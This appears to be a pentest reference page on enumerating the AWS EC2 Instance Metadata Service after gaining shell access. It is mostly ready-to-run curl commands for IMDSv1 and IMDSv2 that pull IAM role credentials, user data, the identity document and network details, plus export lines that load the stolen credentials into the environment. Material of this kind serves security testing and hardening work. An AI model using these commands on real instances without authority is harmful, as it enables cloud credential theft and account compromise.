# EC2 Instance Metadata Service (IMDS)

> Covers IMDSv1/v2 enumeration techniques on EC2 instances, extracting credentials, IAM roles, and instance details via metadata endpoint exploitation.

- **URL:** https://hackindex.io/platforms/aws/enumeration/ec2/ec2-instance-metadata-service
- **Path:** AWS > Enumeration > EC2
- **Up:** [EC2](https://hackindex.io/platforms/aws/enumeration/ec2.md)
- **Published:** 2026-05-24
- **Updated:** 2026-05-24

When you have shell access on an EC2 instance, IMDS at `169.254.169.254` is the first stop. It exposes IAM role credentials, instance identity, network config, and user data: all without any AWS credentials.

- Temporary IAM credentials via `/iam/security-credentials/`
- Account ID and region from the instance identity document
- User data scripts that may contain bootstrap secrets or config files
- VPC ID, subnet ID, and security group names from network metadata

## Check IMDS Version

**Test IMDSv1**

```bash
curl -s http://169.254.169.254/latest/meta-data/
# ami-id
# ami-launch-index
# hostname
# iam/
# instance-id
# local-ipv4
# public-ipv4
```

**IMDSv2: get token first**

```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
```

## IAM Role Credentials

**Get role name**

```bash
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# WebAppRole
```

**Get credentials**

```bash
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole
# {
#     "Code": "Success",
#     "AccessKeyId": "ASIA...",
#     "SecretAccessKey": "...",
#     "Token": "...",
#     "Expiration": "2024-01-01T06:00:00Z"
# }
```

**Export credentials**

```bash
export AWS_ACCESS_KEY_ID=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole | python3 -c "import sys,json;d=json.load(sys.stdin);print(d['AccessKeyId'])")
export AWS_SECRET_ACCESS_KEY=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole | python3 -c "import sys,json;d=json.load(sys.stdin);print(d['SecretAccessKey'])")
export AWS_SESSION_TOKEN=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole | python3 -c "import sys,json;d=json.load(sys.stdin);print(d['Token'])")
```

## Instance Identity

```bash
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document
# {
#     "accountId": "123456789012",
#     "instanceId": "i-0abc1234567890abc",
#     "instanceType": "t3.medium",
#     "privateIp": "10.0.1.100",
#     "region": "us-east-1"
# }
```

## User Data

```bash
curl -s http://169.254.169.254/latest/user-data
curl -s http://169.254.169.254/latest/user-data | base64 -d
```

## Network and Host Information

```bash
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4
curl -s http://169.254.169.254/latest/meta-data/public-ipv4
curl -s http://169.254.169.254/latest/meta-data/security-groups
MAC=$(curl -s http://169.254.169.254/latest/meta-data/mac)
curl -s http://169.254.169.254/latest/meta-data/network/interfaces/macs/$MAC/vpc-id
curl -s http://169.254.169.254/latest/meta-data/network/interfaces/macs/$MAC/subnet-id
```

## IMDSv2 Wrapper

```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
alias imds='curl -s -H "X-aws-ec2-metadata-token: $TOKEN"'

imds http://169.254.169.254/latest/meta-data/iam/security-credentials/
imds http://169.254.169.254/latest/user-data
imds http://169.254.169.254/latest/dynamic/instance-identity/document
```
